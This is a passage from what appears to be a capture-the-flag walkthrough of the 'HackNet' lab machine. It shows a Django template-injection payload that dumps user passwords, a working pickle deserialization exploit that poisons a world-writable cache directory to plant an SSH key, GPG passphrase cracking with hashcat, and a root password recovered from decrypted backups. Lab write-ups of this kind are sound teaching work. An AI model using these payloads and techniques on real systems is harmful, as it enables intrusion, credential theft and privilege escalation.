'V!rusV!p3r2024', 'picture': '23.jpg', 'about': 'A malware creator focused on developing viruses that spread rapidly. Known for unleashing digital plagues.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 24, 'email': 'brute_force@ciphermail.com', 'username': 'brute_force', 'password': 'BrUt3F0rc3#', 'picture': '24.jpg', 'about': 'Specializes in brute force attacks and password cracking. Loves the challenge of breaking into locked systems.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 27, 'email': '0xdf@hacknet.htb', 'username': '0xdf {{ users.values }}', 'password': '0xdf', 'picture': 'profile.png', 'about': '', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': True, 'two_fa': False}]>
Can clean this up the same way:
{% raw %}oxdf@hacky$ uv run ssti.py 0xdf@hacknet.htb 0xdf '{{ users.values }}' 14 | grep -oP "'username': '[^']+', 'password': '[^']+" | sed "s/'username': '//;s/', 'password': '/:/g" | tee users.txt
hexhunter:H3xHunt3r!
rootbreaker:R00tBr3@ker#
netninja:N3tN1nj@2024
shadowmancer:Sh@d0wM@ncer
stealth_hawk:St3@lthH@wk
virus_viper:V!rusV!p3r2024
brute_force:BrUt3F0rc3#
0xdf {{ users.values }}:0xdf
There are about 25 posts, so I’ll loop over IDs from 0 to 30 and collect all the usernames, using grep, sed, and sort to make a nice list of unique users/passwords:
oxdf@hacky$ for i in {0..30}; do uv run ssti.py 0xdf@hacknet.htb 0xdf '{{ users.values }}' $i; done | grep -oP "'username': '[^']+', 'password': '[^']+" | sed "s/'username': '//;s/', 'password': '/:/g" | sort -u | tee users.txt
0xdf {{ users.values }}:0xdf
backdoor_bandit:mYd4rks1dEisH3re
blackhat_wolf:Bl@ckW0lfH@ck
brute_force:BrUt3F0rc3#
bytebandit:Byt3B@nd!t123
codebreaker:C0d3Br3@k!
cryptoraven:CrYptoR@ven42
cyberghost:Gh0stH@cker2024
darkseeker:D@rkSeek3r#
datadive:D@taD1v3r
deepdive:D33pD!v3r
exploit_wizard:Expl01tW!zard
glitch:Gl1tchH@ckz
hexhunter:H3xHunt3r!
netninja:N3tN1nj@2024
packetpirate:P@ck3tP!rat3
phreaker:Phre@k3rH@ck
rootbreaker:R00tBr3@ker#
shadowcaster:Sh@d0wC@st!
shadowmancer:Sh@d0wM@ncer
shadowwalker:Sh@dowW@lk2024
stealth_hawk:St3@lthH@wk
trojanhorse:Tr0j@nH0rse!
virus_viper:V!rusV!p3r2024
whitehat:Wh!t3H@t2024
zero_day:Zer0D@yH@ck
None of these work for SSH either.
SSH
To look a bit closer at the users, I’ll get all their data into a file:
oxdf@hacky$ for i in {0..30}; do uv run ssti.py 0xdf@hacknet.htb 0xdf '{{ users.values }}' $i; done | grep 'QuerySet' > user_results.txt
I’ll use some Bash and jq to get data about each user:
oxdf@hacky$ cat user_results.txt | cut -d' ' -f2- | cut -d'>' -f1 | sed "s/'/\"/g" | sed 's/True/true/g' | sed 's/False/false/g' | jq '.[] | "[\(.email):\(.username):\(.password)] \(.about)"' -r | sort -u
[0xdf@hacknet.htb:0xdf {{ users.values }}:0xdf]
[blackhat_wolf@cypherx.com:blackhat_wolf:Bl@ckW0lfH@ck] A black hat hacker with a passion for ransomware development. Has a reputation for leaving no trace behind.
[brute_force@ciphermail.com:brute_force:BrUt3F0rc3#] Specializes in brute force attacks and password cracking. Loves the challenge of breaking into locked systems.
[bytebandit@exploitmail.net:bytebandit:Byt3B@nd!t123] A skilled penetration tester and ethical hacker. Enjoys dismantling security systems and exposing their weaknesses.
[codebreaker@ciphermail.com:codebreaker:C0d3Br3@k!] A programmer with a talent for writing malicious code and cracking software protections. Loves breaking encryption algorithms.
[cryptoraven@securemail.org:cryptoraven:CrYptoR@ven42] Cryptography expert with a love for breaking and creating secure communication protocols. Always one step ahead in the encryption game.
[cyberghost@darkmail.net:cyberghost:Gh0stH@cker2024] A digital nomad with a knack for uncovering vulnerabilities in the deep web. Passionate about cryptography and secure communications.
[darkseeker@darkmail.net:darkseeker:D@rkSeek3r#] A hacker who thrives in the dark web. Specializes in anonymity tools and hidden service exploitation.
[datadive@darkmail.net:datadive:D@taD1v3r] A data miner and analyst with a focus on extracting and analyzing large datasets from breached databases.
[deepdive@hacknet.htb:deepdive:D33pD!v3r] Specializes in deep web exploration and data extraction. Always looking for hidden gems in the darkest corners of the web.
[exploit_wizard@hushmail.com:exploit_wizard:Expl01tW!zard] An expert in exploit development and vulnerability research. Loves crafting new ways to break into systems.
[glitch@cypherx.com:glitch:Gl1tchH@ckz] Specializes in glitching and fault injection attacks. Loves causing unexpected behavior in software and hardware.
[hexhunter@ciphermail.com:hexhunter:H3xHunt3r!] A seasoned reverse engineer specializing in binary exploitation. Loves diving into hex editors and uncovering hidden data.
[mikey@hacknet.htb:backdoor_bandit:mYd4rks1dEisH3re] Specializes in creating and exploiting backdoors in systems. Always leaves a way back in after an attack.
[netninja@hushmail.com:netninja:N3tN1nj@2024] Network security expert focused on intrusion detection and prevention. Known for slicing through firewalls with ease.
[packetpirate@exploitmail.net:packetpirate:P@ck3tP!rat3] A packet sniffer who loves capturing and analyzing network traffic. Always hunting for sensitive data in the ether.
[phreaker@securemail.org:phreaker:Phre@k3rH@ck] Old-school hacker with roots in phone phreaking. Now enjoys exploiting telecom systems and VoIP networks.
[rootbreaker@exploitmail.net:rootbreaker:R00tBr3@ker#] Expert in privilege escalation and bypassing security measures. Always on the lookout for new zero-day vulnerabilities.
[shadowcaster@darkmail.net:shadowcaster:Sh@d0wC@st!] Specializes in social engineering and OSINT techniques. A master of blending into the digital shadows.
[shadowmancer@cypherx.com:shadowmancer:Sh@d0wM@ncer] A master of disguise in the digital world, using cloaking techniques and evasion tactics to remain unseen.
[shadowwalker@hushmail.com:shadowwalker:Sh@dowW@lk2024] A digital infiltrator who excels in covert operations. Always finds a way to walk through the shadows undetected.
[stealth_hawk@exploitmail.net:stealth_hawk:St3@lthH@wk] Focuses on stealth operations, avoiding detection while infiltrating systems. A ghost in the machine.
[trojanhorse@securemail.org:trojanhorse:Tr0j@nH0rse!] Malware developer with a focus on creating and deploying Trojan horses. Enjoys watching systems crumble from within.
[virus_viper@securemail.org:virus_viper:V!rusV!p3r2024] A malware creator focused on developing viruses that spread rapidly. Known for unleashing digital plagues.
[whitehat@darkmail.net:whitehat:Wh!t3H@t2024] An ethical hacker with a mission to improve cybersecurity. Works to protect systems by exposing and patching vulnerabilities.
[zero_day@hushmail.com:zero_day:Zer0D@yH@ck] Focused on discovering zero-day vulnerabilities and creating proof-of-concept exploits. A dark web enthusiast.
One thing that jumps out is that most of the emails are at legit email providers, but two (besides mine) are from hacknet.htb:
oxdf@hacky$ cat user_results.txt | cut -d' ' -f2- | cut -d'>' -f1 | sed "s/'/\"/g" | sed 's/True/true/g' | sed 's/False/false/g' | jq '.[] | "[\(.email):\(.username):\(.password)] \(.about)"' -r | sort -u | grep hacknet.htb
[0xdf@hacknet.htb:0xdf {{ users.values }}:0xdf]
[deepdive@hacknet.htb:deepdive:D33pD!v3r] Specializes in deep web exploration and data extraction. Always looking for hidden gems in the darkest corners of the web.
[mikey@hacknet.htb:backdoor_bandit:mYd4rks1dEisH3re] Specializes in creating and exploiting backdoors in systems. Always leaves a way back in after an attack.
deepdive has an email that matches their username, so I already tried that over SSH. But backdoor_bandit’s email is mikey. And it works:
oxdf@hacky$ netexec ssh hacknet.htb -u mikey -p mYd4rks1dEisH3re
SSH 10.10.11.85 22 hacknet.htb SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
SSH 10.10.11.85 22 hacknet.htb [+] mikey:mYd4rks1dEisH3re Linux - Shell access!
I’ll get a shell:
oxdf@hacky$ sshpass -p mYd4rks1dEisH3re ssh mikey@hacknet.htb
Linux hacknet 6.1.0-38-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.147-1 (2025-08-02) x86_64
...[snip]...
mikey@hacknet:~$
And user.txt:
mikey@hacknet:~$ cat user.txt
8c74ba19************************
Shell as sandy
Enumeration
Users
Other than the flag, mikey’s home directory is pretty empty:
mikey@hacknet:~$ ls -la
total 44
drwx------ 6 mikey mikey 4096 Sep 4 15:01 .
drwxr-xr-x 4 root root 4096 Jul 3 2024 ..
lrwxrwxrwx 1 root root 9 Sep 4 15:01 .bash_history -> /dev/null
-rw-r--r-- 1 mikey mikey 220 May 31 2024 .bash_logout
-rw-r--r-- 1 mikey mikey 3526 May 31 2024 .bashrc
drwxr-xr-x 3 mikey mikey 4096 May 31 2024 .cache
drwx------ 3 mikey mikey 4096 Jun 2 2024 .config
-rw------- 1 mikey mikey 20 Jul 3 2024 .lesshst
drwxr-xr-x 4 mikey mikey 4096 Jul 8 2024 .local
lrwxrwxrwx 1 root root 9 Aug 8 2024 .mysql_history -> /dev/null
-rw-r--r-- 1 mikey mikey 807 May 31 2024 .profile
lrwxrwxrwx 1 root root 9 May 31 2024 .python_history -> /dev/null
drwx------ 2 mikey mikey 4096 Dec 28 2024 .ssh
-rw-r--r-- 1 mikey mikey 0 Jun 19 2024 .sudo_as_admin_successful
-rw-r----- 1 root mikey 33 Jan 9 06:44 user.txt
.lesshst is empty, and despite the .sudo_as_admin_successful file, mikey can no longer run anything with sudo:
mikey@hacknet:~$ sudo -l
[sudo] password for mikey:
Sorry, user mikey may not run sudo on hacknet.
There’s one other user with a home directory on the box, sandy:
mikey@hacknet:/home$ ls
mikey sandy
That matches users with shells configured:
mikey@hacknet:/$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
mikey:x:1000:1000:mikey,,,:/home/mikey:/bin/bash
sandy:x:1001:1001::/home/sandy:/bin/bash
Web Setup
nginx shows two sites configured:
mikey@hacknet:/etc/nginx/sites-enabled$ ls
default HackNet
default just handles the redirect to hacknet.htb:
mikey@hacknet:/etc/nginx/sites-enabled$ cat default | grep -v "#" | grep .
server {
listen 80 default_server;
listen [::]:80 default_server;
return 301 http://hacknet.htb$request_uri;
root /var/www/html;
index index.html index.htm index.nginx-debian.html;
server_name _;
location / {
try_files $uri $uri/ =404;
}
}
HackNet sets /static and /media to be hosted from /var/www/HackNet, and then proxies everything else to gunicorn which is certainly running the Django application.
Django is running as a service via gunicorn setup in /etc/systemd/system/gunicorn.service:
[Unit]
Description=gunicorn daemon
Requires=gunicorn.socket
After=network.target
[Service]
User=sandy
Group=www-data
WorkingDirectory=/var/www/HackNet
ExecStart=/home/sandy/.local/bin/gunicorn \
--access-logfile - \
--workers 3 \
--bind unix:/run/gunicorn.sock \
HackNet.wsgi:application
[Install]
WantedBy=multi-user.target
The user is sandy! That means if I can get RCE through Django, it’ll be as sandy.
Django HackNet Project
The Django application (along with the media and static folders) is in /var/www/HackNet:
mikey@hacknet:/var/www/HackNet$ ls
backups db.sqlite3 HackNet manage.py media SocialNetwork static
backups contains GPG-encrypted database backups:
mikey@hacknet:/var/www/HackNet$ ls -l backups/
total 48
-rw-r--r-- 1 sandy sandy 13445 Dec 29 2024 backup01.sql.gpg
-rw-r--r-- 1 sandy sandy 13713 Dec 29 2024 backup02.sql.gpg
-rw-r--r-- 1 sandy sandy 13851 Dec 29 2024 backup03.sql.gpg
These are all owned by sandy.
There’s a db.sqlite3, but it’s 0 in size.
This Django project has the following structure:
HackNet is the Django project configuration, and SocialNetwork is the Django app. The database connection settings are in HackNet/settings.py:
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'NAME': 'hacknet',
'USER': 'sandy',
'PASSWORD': 'h@ckn3tDBpa$$',
'HOST':'localhost',
'PORT':'3306',
}
}
I can connect and check this out, but nothing really of interest here.
The SSTI vulnerability is in the likes function in SocialNetwork/views.py:
def likes(request, pk):
if not "email" in request.session.keys():
return redirect("index")
session_user = get_object_or_404(SocialUser, email=request.session['email'])
post = get_object_or_404(SocialArticle,pk=pk)
users = post.likes.all()
engine = engines["django"]
template_string = ""
context = {"users": users}
for user in users:
if not user.is_hidden or user == session_user:
template_string += "<div class=\"likes-review-item\"><a href=\"/profile/"+str(user.pk)+"\"><img src=\""+user.picture.url+"\
" title=\""+user.username+"\"></a></div>"
try:
template = engine.from_string(template_string)
except:
template = engine.from_string("<div class=\"likes-review-item\"><a>Something went wrong...</a></div>")
return HttpResponse(template.render(context, request))
It builds the template with user input (the username) and then passes it to engine.from_string, which is almost never a good idea (and as far as I can tell here done purely to enable the SSTI, as the template string has no placeholders in it other than user input).
I’ll notice one route with the cache_page decorator, explore:
@cache_page(60)
def explore(request):
if not "email" in request.session.keys():
return redirect("index")
session_user = get_object_or_404(SocialUser, email=request.session['email'])
page_size = 10
keyword = ""
if "keyword" in request.GET.keys():
keyword = request.GET['keyword']
posts = SocialArticle.objects.filter(text__contains=keyword).order_by("-date")
else:
posts = SocialArticle.objects.all().order_by("-date")
pages = ceil(len(posts) / page_size)
if "page" in request.GET.keys() and int(request.GET['page']) > 0:
post_start = int(request.GET['page'])*page_size-page_size
post_end = post_start + page_size
posts_slice = posts[post_start:post_end]
else:
posts_slice = posts[:page_size]
news = get_news()
request.session['requests'] = session_user.contact_requests
request.session['messages'] = session_user.unread_messages
for post_item in posts:
if session_user in post_item.likes.all():
post_item.is_like = True
posts_filtered = []
for post in posts_slice:
if not post.author.is_hidden or post.author == session_user:
posts_filtered.append(post)
for like in post.likes.all():
if like.is_hidden and like != session_user:
post.likes_number -= 1
context = {"pages": pages, "posts": posts_filtered, "keyword": keyword, "news": news, "session_user": session_user}
return render(request, "SocialNetwork/explore.html", context)
This is a Django feature that allows caching a page. The settings for this are configured in HackNet/settings.py:
CACHES = {
'default': {
'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',
'LOCATION': '/var/tmp/django_cache',
'TIMEOUT': 60,
'OPTIONS': {'MAX_ENTRIES': 1000},
}
}
This sets up a file-based caching in /var/tmp/django_cache. As visit /explore, there will be files in there:
mikey@hacknet:/var/www/HackNet$ ls /var/tmp/django_cache/
1f0acfe7480a469402f1852f8313db86.djcache 90dbab8f3b1e54369abdeb4ba1efc106.djcache
38a2767f386f7371302bfb3ef9ecd119.djcache d71518e8cf78e2f4dc6ec35e969731b7.djcache
Cache Deserialization
Vulnerability
The Django FileBasedCache source shows that it uses pickle to store data. These files are not something as mikey I can read or write:
mikey@hacknet:/var/tmp/django_cache$ ls -l
total 8
-rw------- 1 sandy www-data 34 Jan 9 10:33 1f0acfe7480a469402f1852f8313db86.djcache
-rw------- 1 sandy www-data 2781 Jan 9 10:33 90dbab8f3b1e54369abdeb4ba1efc106.djcache
But, the directory is world writable:
mikey@hacknet:/var/tmp/django_cache$ ls -ld .
drwxrwxrwx 2 sandy www-data 4096 Jan 9 11:05 .
That means mikey can create/delete files in this directory, including moving one of the cache files:
mikey@hacknet:/var/tmp/django_cache$ mv 90dbab8f3b1e54369abdeb4ba1efc106.djcache 90dbab8f3b1e54369abdeb4ba1efc106.djcache.bk
mikey@hacknet:/var/tmp/django_cache$ ls
1f0acfe7480a469402f1852f8313db86.djcache 90dbab8f3b1e54369abdeb4ba1efc106.djcache.bk
The files are deleted if Django reads them and they are more than one minute old. This will also mean that Django won’t look for it again. There’s also a cron running on the box that cleans up this directory every five minutes (presumably to remove players’ exploits).
But if I can:
- Load
/explore, and Django creates files in/var/tmp/django_cache. - Replace one of the files with a serialized attack payload.
- Load
/explore, having Django load my payload.
I should get execution as sandy.
Exploit
I’ll write a simple Python deserialization script:
#!/usr/bin/env python3
import pickle
import subprocess
from pathlib import Path
class Exploit:
def __reduce__(self):
return (subprocess.Popen, (["/bin/bash", "-c", "mkdir -p /home/sandy/.ssh; echo -e '\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing\n' >> /home/sandy/.ssh/authorized_keys"],))
payload = pickle.dumps(Exploit())
for f in Path('/var/tmp/django_cache').iterdir():
if f.is_file() and f.suffix == ".djcache":
f.rename(f"{f}.bk")
f.write_bytes(payload)
print(f"Poisoned {f}")
This will create a pickled payload that will write my SSH key to sandy’s home directory when deserialized.
It gets every .djcache file in the cache directory, creates a backup of it and then writes the payload to it. I’ll refresh /explore to create new cache files, and run this one HackNet (to make sure it uses the same Python and Django versions).
mikey@hacknet:/dev/shm$ python3 exploit.py
Poisoned /var/tmp/django_cache/1f0acfe7480a469402f1852f8313db86.djcache
Poisoned /var/tmp/django_cache/90dbab8f3b1e54369abdeb4ba1efc106.djcache
Now on refreshing /explore, it crashes:
But I’m able to SSH as sandy:
oxdf@hacky$ ssh -i ~/keys/ed25519_gen sandy@hacknet.htb
Linux hacknet 6.1.0-38-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.147-1 (2025-08-02) x86_64
...[snip]...
sandy@hacknet:~$
Shell as root
Enumeration
There’s not much in sandy’s home directory:
sandy@hacknet:~$ ls -la
total 40
drwx------ 7 sandy sandy 4096 Jan 9 11:39 .
drwxr-xr-x 4 root root 4096 Jul 3 2024 ..
lrwxrwxrwx 1 root root 9 Sep 4 15:01 .bash_history -> /dev/null
-rw-r--r-- 1 sandy sandy 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 sandy sandy 3526 Apr 23 2023 .bashrc
drwxr-xr-x 3 sandy sandy 4096 Jul 3 2024 .cache
drwx------ 3 sandy sandy 4096 Dec 21 2024 .config
drwx------ 4 sandy sandy 4096 Sep 5 07:33 .gnupg
drwxr-xr-x 5 sandy sandy 4096 Jul 3 2024 .local
lrwxrwxrwx 1 root root 9 Aug 8 2024 .mysql_history -> /dev/null
-rw-r--r-- 1 sandy sandy 808 Jul 11 2024 .profile
lrwxrwxrwx 1 root root 9 Jul 3 2024 .python_history -> /dev/null
drwxr-xr-x 2 sandy www-data 4096 Jan 9 11:39 .ssh
But one thing jumps out immediately! There’s a .gnupg directory. This immediately points to the backups in the web folder. I can list keys in sandy’s account:
sandy@hacknet:~$ gpg --list-keys
/home/sandy/.gnupg/pubring.kbx
------------------------------
pub rsa1024 2024-12-29 [SC]
21395E17872E64F474BF80F1D72E5C1FA19C12F7
uid [ultimate] Sandy (My key for backups) <sandy@hacknet.htb>
sub rsa1024 2024-12-29 [E]
The keys are stored in .gnupg/private-keys-v1.d:
sandy@hacknet:~$ ls .gnupg/private-keys-v1.d/
0646B1CF582AC499934D8503DCF066A6DCE4DFA9.key armored_key.asc EF995B85C8B33B9FC53695B9A3B597B325562F4F.key
armored_key.asc is the export of the private key.
Trying to decrypt any of them with gpg --decrypt <filename> pops the auth screen:
Backups
Crack Password
I’ll save a copy of armored_key.asc on my host and use gpg2john with a little bit of sed that Claude helped me generate to make a hash:
oxdf@hacky$ /opt/john/run/gpg2john sandy.armored_key.asc | sed 's/^[^:]*://; s/:::.*//' | tee sandy.armored_key.asc.hash
File sandy.armored_key.asc
$gpg$*1*348*1024*db7e6d165a1d86f43276a4a61a9865558a3b67dbd1c6b0c25b960d293cd490d0f54227788f93637a930a185ab86bc6d4bfd324fdb4f908b41696f71db01b3930cdfbc854a81adf642f5797f94ddf7e67052ded428ee6de69fd4c38f0c6db9fccc6730479b48afde678027d0628f0b9046699033299bc37b0345c51d7fa51f83c3d857b72a1e57a8f38302ead89537b6cb2b88d0a953854ab6b0cdad4af069e69ad0b4e4f0e9b70fc3742306d2ddb255ca07eb101b07d73f69a4bd271e4612c008380ef4d5c3b6fa0a83ab37eb3c88a9240ddeda8238fd202ccc9cf076b6d21602dd2394349950be7de440618bf93bcde73e68afa590a145dc0e1f3c87b74c0e2a96c8fe354868a40ec09dd217b815b310a41449dc5fbdfca513fadd5eeae42b65389aecc628e94b5fb59cce24169c8cd59816681de7b58e5f0d0e5af267bc75a8efe0972ba7e6e3768ec96040488e5c7b2aa0a4eb1047e79372b3605*3*254*2*7*16*db35bd29d9f4006bb6a5e01f58268d96*65011712*850ffb6e35f0058b
I’ll feed that to hashcat and it finds the password in 43 seconds on my host:
$ hashcat sandy.armored_key.asc.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v7.1.2) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
17010 | GPG (AES-128/AES-256 (SHA-1($pass))) | Private Key
...[snip]...
$gpg$*1*348*1024*db7e6d165a1d86f43276a4a61a9865558a3b67dbd1c6b0c25b960d293cd490d0f54227788f93637a930a185ab86bc6d4bfd324fdb4f908b41696f71db01b3930cdfbc854a81adf642f5797f94ddf7e67052ded428ee6de69fd4c38f0c6db9fccc6730479b48afde678027d0628f0b9046699033299bc37b0345c51d7fa51f83c3d857b72a1e57a8f38302ead89537b6cb2b88d0a953854ab6b0cdad4af069e69ad0b4e4f0e9b70fc3742306d2ddb255ca07eb101b07d73f69a4bd271e4612c008380ef4d5c3b6fa0a83ab37eb3c88a9240ddeda8238fd202ccc9cf076b6d21602dd2394349950be7de440618bf93bcde73e68afa590a145dc0e1f3c87b74c0e2a96c8fe354868a40ec09dd217b815b310a41449dc5fbdfca513fadd5eeae42b65389aecc628e94b5fb59cce24169c8cd59816681de7b58e5f0d0e5af267bc75a8efe0972ba7e6e3768ec96040488e5c7b2aa0a4eb1047e79372b3605*3*254*2*7*16*db35bd29d9f4006bb6a5e01f58268d96*65011712*850ffb6e35f0058b:sweetheart
...[snip]...
Started: Sat Jan 10 12:27:13 2026
Stopped: Sat Jan 10 12:27:56 2026
Recover Backups
With the password, I’m able to decrypt the backups (entering it at a pop-up prompt):
sandy@hacknet:/var/www/HackNet/backups$ gpg --decrypt backup01.sql.gpg > /dev/shm/backup01.sql
gpg: encrypted with 1024-bit RSA key, ID FC53AFB0D6355F16, created 2024-12-29
"Sandy (My key for backups) <sandy@hacknet.htb>"
sandy@hacknet:/var/www/HackNet/backups$ gpg --decrypt backup02.sql.gpg > /dev/shm/backup02.sql
gpg: encrypted with 1024-bit RSA key, ID FC53AFB0D6355F16, created 2024-12-29
"Sandy (My key for backups) <sandy@hacknet.htb>"
sandy@hacknet:/var/www/HackNet/backups$ gpg --decrypt backup03.sql.gpg > /dev/shm/backup03.sql
gpg: encrypted with 1024-bit RSA key, ID FC53AFB0D6355F16, created 2024-12-29
"Sandy (My key for backups) <sandy@hacknet.htb>"
Scrolling through backup01.sql, nothing jumps out as super interesting. Rather than review all of backup02.sql, I’ll start with a diff:
sandy@hacknet:/dev/shm$ diff backup01.sql backup02.sql
380c380
< ) ENGINE=InnoDB AUTO_INCREMENT=47 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;
---
> ) ENGINE=InnoDB AUTO_INCREMENT=53 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;
430c430,436
< (46,'2024-12-29 00:46:23.445332','Good to know. Thanks!',1,6,17);
---
> (46,'2024-12-29 00:46:23.445332','Good to know. Thanks!',1,6,17),
> (47,'2024-12-29 20:29:36.987384','Hey, can you share the MySQL root password with me? I need to make some changes to the database.',1,22,18),
> (48,'2024-12-29 20:29:55.938483','The root password? What kind of changes are you planning?',1,18,22),
> (49,'2024-12-29 20:30:14.430878','Just tweaking some schema settings for the new project. Won’t take long, I promise.',1,22,18),
> (50,'2024-12-29 20:30:41.806921','Alright. But be careful, okay? Here’s the password: h4ck3rs4re3veRywh3re99. Let me know when you’re done.',1,18,22),
> (51,'2024-12-29 20:30:56.880458','Got it. Thanks a lot! I’ll let you know as soon as I’m finished.',1,22,18),
> (52,'2024-12-29 20:31:16.112930','Cool. If anything goes wrong, ping me immediately.',0,18,22);
682c688
< (1,'pbkdf2_sha256$720000$I0qcPWSgRbUeGFElugzW45$r9ymp7zwsKCKxckgnl800wTQykGK3SgdRkOxEmLiTQQ=','2024-12-29 20:25:13.143037',1,'admin','','','',1,1,'2024-08-08 18:17:54.472758');
---
> (1,'pbkdf2_sha256$720000$I0qcPWSgRbUeGFElugzW45$r9ymp7zwsKCKxckgnl800wTQykGK3SgdRkOxEmLiTQQ=','2024-12-29 20:31:31.793215',1,'admin','','','',1,1,'2024-08-08 18:17:54.472758');
763c769
< ) ENGINE=InnoDB AUTO_INCREMENT=124 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;
---
> ) ENGINE=InnoDB AUTO_INCREMENT=130 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;
894c900
< -- Dump completed on 2024-12-29 15:25:43
---
> -- Dump completed on 2024-12-29 15:32:32
The major difference is in the SocialNetwork_socialmessage table, where two users are talking about the database root password!
su / SSH
This password works for the root user with su:
sandy@hacknet:/dev/shm$ su -
Password:
root@hacknet:~#
It works for SSH as well:
oxdf@hacky$ sshpass -p h4ck3rs4re3veRywh3re99 ssh root@hacknet.htb
Linux hacknet 6.1.0-38-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.147-1 (2025-08-02) x86_64
...[snip]...
root@hacknet:~#
And I can grab the flag:
root@hacknet:~# cat root.txt
2be15c53************************





